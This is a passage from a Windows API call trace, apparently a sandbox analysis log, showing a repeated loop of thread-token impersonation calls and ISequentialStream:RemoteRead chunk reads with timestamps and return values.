OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.761] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.761] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.761] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x31, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.761] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.761] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.762] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.762] GetCurrentThread () returned 0xfffffffffffffffe [0147.762] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.762] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.762] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.762] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xca, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.762] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.762] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.763] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.763] GetCurrentThread () returned 0xfffffffffffffffe [0147.763] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.763] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.763] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.763] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x92, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.763] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.763] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.763] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.764] GetCurrentThread () returned 0xfffffffffffffffe [0147.764] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.764] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.764] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.764] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x9a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.764] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.764] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.764] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.764] GetCurrentThread () returned 0xfffffffffffffffe [0147.764] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.764] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.764] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.765] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x8f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.765] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.765] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.765] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.765] GetCurrentThread () returned 0xfffffffffffffffe [0147.765] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.765] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.765] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.765] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x7c, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.765] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.765] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.766] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.766] GetCurrentThread () returned 0xfffffffffffffffe [0147.766] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.766] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.766] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.766] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd9, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.766] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.766] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.767] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.767] GetCurrentThread () returned 0xfffffffffffffffe [0147.767] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.767] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.767] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.767] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x66, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.767] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.767] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.768] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.768] GetCurrentThread () returned 0xfffffffffffffffe [0147.768] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.768] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.768] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.768] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd7, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.768] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.768] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.768] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.768] GetCurrentThread () returned 0xfffffffffffffffe [0147.768] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.768] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.769] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.769] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x44, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.769] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.769] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.769] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.769] GetCurrentThread () returned 0xfffffffffffffffe [0147.769] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.769] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.769] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.769] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf9, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.770] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.770] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.770] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.770] GetCurrentThread () returned 0xfffffffffffffffe [0147.770] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.770] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.770] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.770] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x3e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.770] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.770] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.771] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.771] GetCurrentThread () returned 0xfffffffffffffffe [0147.771] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.771] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.771] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.771] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x77, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.771] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.771] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.772] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.772] GetCurrentThread () returned 0xfffffffffffffffe [0147.772] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.772] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.772] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.772] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x95, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.772] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.772] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.773] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.773] GetCurrentThread () returned 0xfffffffffffffffe [0147.773] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.773] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.773] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.773] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x5c, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.773] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.773] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.774] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.774] GetCurrentThread () returned 0xfffffffffffffffe [0147.774] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.774] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.774] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.774] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x92, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.774] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.774] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.774] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.774] GetCurrentThread () returned 0xfffffffffffffffe [0147.774] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.774] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.775] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.775] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x3d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.775] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.775] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.775] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.775] GetCurrentThread () returned 0xfffffffffffffffe [0147.775] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.775] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.775] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.775] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x6e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.776] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.776] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.776] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.776] GetCurrentThread () returned 0xfffffffffffffffe [0147.776] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.776] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.776] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.776] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x37, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.776] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.777] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.777] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.777] GetCurrentThread () returned 0xfffffffffffffffe [0147.777] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.777] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.777] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.777] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x41, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.777] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.777] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.778] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.778] GetCurrentThread () returned 0xfffffffffffffffe [0147.779] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.779] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.779] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.779] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xfb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.779] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.779] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.779] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.779] GetCurrentThread () returned 0xfffffffffffffffe [0147.779] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.779] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.779] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.779] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa8, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.780] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.780] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.780] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.780] GetCurrentThread () returned 0xfffffffffffffffe [0147.780] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.780] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.780] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.780] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x3a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.780] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.780] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.781] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.781] GetCurrentThread () returned 0xfffffffffffffffe [0147.781] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.781] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.781] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.781] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x9a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.781] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.781] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.782] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.782] GetCurrentThread () returned 0xfffffffffffffffe [0147.782] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.782] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.782] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.782] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x69, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.782] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.782] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.782] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.783] GetCurrentThread () returned 0xfffffffffffffffe [0147.783] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.783] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.783] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.783] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xff, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.783] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.783] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.783] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.783] GetCurrentThread () returned 0xfffffffffffffffe [0147.783] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.784] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.784] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.784] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.784] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.784] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.784] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.784] GetCurrentThread () returned 0xfffffffffffffffe [0147.784] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.784] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.784] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.784] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x4c, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.784] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.785] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.785] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.785] GetCurrentThread () returned 0xfffffffffffffffe [0147.785] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.785] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.785] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.785] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.785] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.785] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.786] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.786] GetCurrentThread () returned 0xfffffffffffffffe [0147.786] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.786] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.786] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.786] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd1, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.786] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.786] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.787] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.787] GetCurrentThread () returned 0xfffffffffffffffe [0147.787] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.787] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.787] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.787] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd9, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.787] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.787] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.788] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.788] GetCurrentThread () returned 0xfffffffffffffffe [0147.788] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.788] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.788] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.788] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x25, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.788] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.788] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.789] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.789] GetCurrentThread () returned 0xfffffffffffffffe [0147.789] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.789] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.789] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.789] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.789] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.789] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.789] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.789] GetCurrentThread () returned 0xfffffffffffffffe [0147.789] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.789] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.790] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.790] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x18, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.790] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.790] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.790] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.790] GetCurrentThread () returned 0xfffffffffffffffe [0147.790] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.790] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.790] 